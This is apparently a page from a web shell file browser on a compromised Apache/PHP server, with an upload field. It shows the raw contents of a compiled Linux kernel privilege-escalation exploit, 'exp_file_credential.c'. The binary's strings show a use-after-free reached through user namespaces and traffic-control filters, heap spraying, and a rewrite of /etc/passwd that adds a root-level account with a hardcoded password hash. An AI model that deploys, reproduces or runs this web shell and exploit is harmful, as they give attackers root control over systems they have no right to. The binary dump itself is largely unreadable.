|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @& @ P @ 8
@ @ @ @ x x 3 3 ` ` ` 0l 0| 0| @l @| @| 8 8 8 X X X D D Std 8 8 8 Ptd e e e Qtd Rtd 0l 0| 0| /lib64/ld-linux-x86-64.so.2 GNU GNU Y>`z6>JW@ GNU 5 5 6 em9 d M D Q 5 G . K ~ w R = ^ s [ i s b } x - " p @ libpthread.so.0 _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable write __errno_location close pthread_create read open recvmsg sendmsg libc.so.6 socket strcpy exit strncmp pipe perror get_current_dir_name puts fork __stack_chk_fail clock getpid chmod __assert_fail mmap symlink sched_setaffinity strlen unshare memset writev chdir vsnprintf memcpy malloc getgid stderr system getuid setrlimit usleep fprintf __cxa_finalize syscall getrlimit mount __libc_start_main sysconf free GLIBC_2.2.5 GLIBC_2.14 GLIBC_2.3.4 GLIBC_2.4 __gmon_start__ ui ti ii
ui 0| ' 8| & ( ` 0 ` " 0 5 @ 6 X~ `~ h~ p~ x~ ~ ~ ~ ~
~ ~ ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ( 0 8 @ H ! P # X $ ` % h & p ' x ( ) * + , - . / 1 2 3 4 HH_ HtH 5"^ %#^ h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A h 1 h ! h h h h h! h" h# h$ h% h& h' q h( a h) Q h* A h+ 1 h, ! h- h. h/ %\ D %
[ D %[ D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %Z D %}Z D %uZ D %mZ D %eZ D %]Z D %UZ D %MZ D %EZ D %=Z D %5Z D %-Z D %%Z D % Z D %Z D %
Z D %Z D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D %Y D 1I^HHPTLV- H
, H=* rY H=Y HY H9tHNY Ht H=Y H5Y H)HH?HHHtH%Y Htf D =]Y u+UH=Y Ht H=Y )d5Y ] w UHH}Hu] UHH \dH%( HE1HpHƸ HHH\HHhHh wMHhHH HpHHHh? HHH4 HpHH HHpH¾ tH=L8 HEdH3%( t UHH HH H`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž( Dž,0 HEH0HPH8H(H H@ Hƅ? H@H H HǸ u n HcH@ HΉ HcH9t. $ O$ . HHdH34%( t UHHH=6 H=6 H6 HEH} u
HE Ht
HEHt
H5~6 H=}6 D UHA Hb6 H5c6 ] UHH dH%( HE1HE HEHEHEHƿ HE HEHEHEHƿ HE HEHEHE HEHEHEHƿ uHE HEHEHEHƿ THE7 HEHEHEHƿ 3y[HE HEHET T
HEHƿ y"H=[5 *H5O5 HEdH3%( t UHH|EdE tH=5 @tH=4 H54 H=4 tH=4 n EH54 H=4 tH=4 4 JEH54 H=4 }tH=4 UHH0H}uHU؉MHEHEEHEfPEPHEf} t EHcHEHHHEHHE UHH0H}uUHMDEԋEԃEHE EE9v%HR UH5F4 HǸ q|HE HHEHHEEHEfPEHEf} t EHcHEHHHEHH2HE EHE UHH H}uUHE HHEHHEUuHEA HHE UHH}HuHE HHEHH+EHEfHE ] UHH |dH%( HE1 HEHE HHEHEHE $ HEf@HEf@$ HEHHEHE@ HE HE@ E E EE HEPHEA H
2 HHEHEHE HEHE E fE HE HE HE HE HE HE HE HEHEE HEHEHE HM| HΉbHMdH3 %( t UHH lhd`Df\dH%( HE1 HEHE HHEHEHE HHEHE $ \HEfPHEf@, HEHHEDžx Dž| x| HEPHE@ HE HE`PHEA H
0 HHE HHEHhHEA HѺ HHdHEA HѺ HmHUHEHHHEHEHE HEHE E fE HE HE HE HE HE HE HE HEHEE HEHEHE HMl HΉHEH HMdH3 %( t UHH}ufEuEE UEA e UHH }uEE} w } v H
e2 v H5. H=/ E E} t E% t E UHH lhdH%( HE1 @ HEHE @ H HEHEHE HHEHE $ HEf@ HEf@- HEHHEDžx Dž| x| HEPHE@ HE HEhPHEA H
- HHE HHEHUHEHHHEHEHE HEHE E fE HE HE HE HE HE HE HE HEHEE HEHEHE HMl HΉuHE @ HHE @ HEHEHMl HΉ6Eȃ t H=, BHEHMdH3 %( t UHH}uEEE։ UHH <8H0H(D$dH%( HE1$HH(H=/ v H
t/ H5+ H=A, @ :HXHX @ HjHXH`H` HH`H` $ H`f@H`f@, HXHHhDžL DžP LP HhPHh@ Hh Hh8PH`A H
f+ @ HH` @ HHpH` @ HHx$ fTfDžV HTH`A HѺ @ H}H` @ HNHE 0 HEDžH HE 0 HHEHEHEf@ HEf@ HEHHEHE fE fE HUHE HpHHEH(H0HE HIHHEH(H0HE H"HHEHEH+EHpHUH`AHщ @ HPHT9HHUH`HH\HxH`HHCHpH`HH*H`HEH` HEHE E fE HE HE HE HE HE HE HE HEHEE HEHEHE HM< HΉHEHFHXH7 HMdH3 %( t UHH lhdH%( HE1 @ HEHE @ HNHEHEHE HHEHE $ HEf@ HEf@- HEHHEDžx Dž| x| HEPHE@ HE HEhPHEA H
t' HHE HHEHUHEHH%HEHEHE HEHE E fE HE HE HE HE HE HE HE HEHEE HEHEHE HMl HΉHE @ HHE @ HEHEHMl HΉdEȃ t H=
& pHEHMdH3 %( t UHH dH%( HE1H=& , H=.$ || yH=% !HDž 0Džt Gt HcHHA A " HQHttef ~t H
_( B H5$ H=h% _HHH H5M% HDžx LxHHHHHHt HxHcHHHH Hxx~B HH| HΉHy H=$ HHH+H*
{' ^HfHnH=l$ A HMdH3 %( t UHH dH%( HE1Huser:$1$Huser$k8sHHHntSoh7jhHsc6lwspjH HHsU.:0:0:H/root/roHHHot:/bin/bashH H(H0 x HHHjA HH\A HH@ t@ @ H HΉHy H=@# H=D# HudH34%( tr UH ] UHAUATSH H $ H H $ Hh dH%( HE1HDž HDž H HHHDž HDž HHƿ ju"HHHH=v" ? H=" M/? )? u H
$ H5
! H=f" > ? H HΉHtH58" > A $? H5" MHtH5! > H HΉ5HtH5! y+> A ;
H=! > H5a! HtH5P! N> H HΉHtH5! @B Dž
= Љ H= HcH Hu= HH H[= H
" H5 H= < 9a< A H=X 4H=] (Dž h
< Љ H= HcH H< HH Hi< H
! H5 H= Dž HH H < D,HH H< D$EE ډƿ8 H? H=Q HH H; <; HH Hu; ; H HS H<H Hh H -; t: : wH= K Dž ; H HΉK: H HΉOHtH5h : ;: 9?x: u: 9
4: u1: t*H= bp: H5 y H9 HǸ +HDž HDž HDž HDž HDž HDž HDž HDž HDž HDž HDž HDž( HDž0 HDž8 HDž@ HDžH HDžP HDžX HDž` HDžh HDžp HDžx HDž HDž HDž HDž HDž HDž HDž HDž HDž HDž H0 HΉH H5: HNu8 H5! 4HHH= $b8 H5 k UH] UHHP dH%( HE1H=7 *uH5 H=7 uH5 hH=7 uH5` AH=j7 uH59 H=K7 uH5 T Y6 [ Dž 6 H HΉFHwH5 HK6 HH= Dž u^Dž 8
J6 ЉH5 HǸ o9|' Dž 8
5 ЉH5 HǸ 9|H= 5 H5 ' &uA D kHMdH3 %(
-Dž 8
4 ЉH4 HǸ #' ~H= 4 H5 HtH5 ; u H
B H5 H= mfHDž HDž HDž HDž HDž HDž HDž HDž HDž HDž( HDž0 HDž8 HDž@ HDžH HDžP HDžX HDž` HDžh HDžp HDžx HE HE HE HE HE HE HE HE HE HE HE HE HE HE HH A H2 H HΉ+HtH5 oDž& (Dž 1HA v;|HA 7HA
HA 1 H5 HtH5 X1 H HΉHtH5P 1HA ;;|H=x Dž C;t-9t ։C9|0 H5 HtH5 /i0 H HΉHtH5' ։։ u!։J;|H=( / H5 HtH5 0 UHSH(}HudH%( HE1A A! H. H. HH. H. HEHHH. IHHQ HǸ H. HH=4 wH. HǸ EHL. H H. H- Hq. HH.H _. H- HH E HΉEHH=1. Lt H
H5f H= H= Hu ' - HM HΉEuH=Y H=S H]dH3 %( t
H([] AWL=( AVIAUIATAUH-( SL)HHt 1 LLDAHH9uH[]A\A]A^A_ff. HH /etc/passwd user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
sched_setaffinity() rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data touch exp_dir/data2 exp_dir ./uaf ./data fusectl /sys/fs/fuse/connections setrlimit [-] unshare(CLONE_NEWUSER) deny /proc/self/setgroups [-] write_file(/proc/self/set_groups) 0 %d 1
/proc/self/uid_map [-] write_file(/proc/self/uid_map) /proc/self/gid_map [-] write_file(/proc/self/gid_map) addattr_l ERROR: message exceeded bound of %d
sfq route exp_file_credential.c from <= 0xff && to <= 0xff size of sender address is wrong spray_len * spray_count < 0x3000 basic start slow write error open uaf file offset > 0 hhhhh slow write write done, spent %f s
failed to write should be after the slow write Old limits -> soft limit= %ld hard limit= %ld
starting exploit, num of cores: %d
sockfd != -1 read from parent OK write to child freed the filter object ./data2 fds[i] > 0 double free done spraying files fd_2[i] > 0 found overlap, id : %d, %d
closed overlap read from file spray no overlap found :(... user not successful : %s
fail to create pipes
read file spray got cmd, start spraying %s
spray done defrag done failed write defrag sprayfd != -1 failed read defrag write to parent
spray 256 done 256 freed done %s/%s self path %s
pipe(pipe_main) == 0 prepare done succeed failed calc_handle add_tc_basic slow_write exploit run_exp main .A; X@ hh x x( a t h 8 X x r \ | 8 X x \ 8 ,X x { x ( zR x H/ D $ 4 FJ w ?:*3$" \ t EC
J EC
EC
EC
g. EC
e , uF EC
= L EC
l g EC
^ EC
U EC
L = EC
t EC
\\ EC
S , B EC
y L p EC
g l
6 EC
- . EC
e .n EC
e |6 EC
- 5 EC
, A EC
8 , $ EC
[ L EC
d l 9 EC
B $ EC
$ EC
E D e FIE E(D0H8G@n8A0A(B BBB ' &
S 0| 8| o
@~ o o o o o @| 0 @ P ` p ! ! ! 0! @! P! `! p! ! ! ! ! ! ! ! ! " " " 0" @" P" `" p" " " " " " " " " # # # ` ` GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0 8 X |
0# @# @& S ` e f 0| 8| @| @~ @ p& & ! & 7 H F 8| m ' y 0| 0( ) O* . }* F xe e
e 4 e N e h e k 8| @| 0| e @~ 5 S $ B ` L a ; } h p $: 6 # 0 - @ 5 . J ^ + n 8 u 2 B | y. = :- S H x # 5 e I ^ y ? $ `
) 9 F R ( Y d y . l > A ` ! + @S e
; O Ȁ ? @& / [ 2 p g <' r )' 8 CQ d ` H ? R3 6 & 0 7 ? Q 8 ] Z< 5 h $. U u , g " 5 n @ / D0 \ crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.8061 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry exp_file_credential.c write_file use_temporary_dir setup_common adjust_rlimit __PRETTY_FUNCTION__.32340 __PRETTY_FUNCTION__.32365 __PRETTY_FUNCTION__.32410 __PRETTY_FUNCTION__.32436 __PRETTY_FUNCTION__.32482 __PRETTY_FUNCTION__.32510 __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini free@@GLIBC_2.2.5 pthread_create@@GLIBC_2.2.5 __errno_location@@GLIBC_2.2.5 cpu_cores strncmp@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable run_spray spray_num_2 strcpy@@GLIBC_2.2.5 passwd sendmsg@@GLIBC_2.2.5 writev@@GLIBC_2.2.5 puts@@GLIBC_2.2.5 delete_tc_basic vsnprintf@@GLIBC_2.2.5 unshare@@GLIBC_2.4 overwrite write@@GLIBC_2.2.5 delete_tc getpid@@GLIBC_2.2.5 setup_namespace _edata add_tc clock@@GLIBC_2.2.5 addattr_nest_end addattr_l run_exp strlen@@GLIBC_2.2.5 mount@@GLIBC_2.2.5 global chdir@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 getuid@@GLIBC_2.2.5 mmap@@GLIBC_2.2.5 system@@GLIBC_2.2.5 symlink@@GLIBC_2.2.5 __assert_fail@@GLIBC_2.2.5 pipe_defrag memset@@GLIBC_2.2.5 pre_exploit fd_2 close@@GLIBC_2.2.5 pipe@@GLIBC_2.2.5 sched_setaffinity@@GLIBC_2.3.4 overlap_a read@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 pipe_file_spray __data_start pipe_parent target pipe_child fprintf@@GLIBC_2.2.5 syscall@@GLIBC_2.2.5 add_qdisc __gmon_start__ overlapped __dso_handle write_cmd memcpy@@GLIBC_2.14 _IO_stdin_used getgid@@GLIBC_2.2.5 get_current_dir_name@@GLIBC_2.2.5 self_path __libc_csu_init malloc@@GLIBC_2.2.5 spray_num_1 calc_handle pin_on_cpu setrlimit@@GLIBC_2.2.5 DumpHex __bss_start recvmsg@@GLIBC_2.2.5 chmod@@GLIBC_2.2.5 run_write fds post_exploit open@@GLIBC_2.2.5 perror@@GLIBC_2.2.5 sysconf@@GLIBC_2.2.5 delete_tc_ overlap_b sockfd content exit@@GLIBC_2.2.5 __TMC_END__ slow_write addattr_nest getrlimit@@GLIBC_2.2.5 _ITM_registerTMCloneTable pipe_main addattr __cxa_finalize@@GLIBC_2.2.5 fork@@GLIBC_2.2.5 add_tc_basic usleep@@GLIBC_2.2.5 stderr@@GLIBC_2.2.5 socket@@GLIBC_2.2.5 add_tc_ .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 6 X X $ I | | W o ( a ( i q o n ~ o p B 0# 0# @# @# @& @& u- S S
` ` e e f f 0 0| 0l 8| 8l @| @l @~ @n p 8 @ 8p 0 8p + hp 8 7 /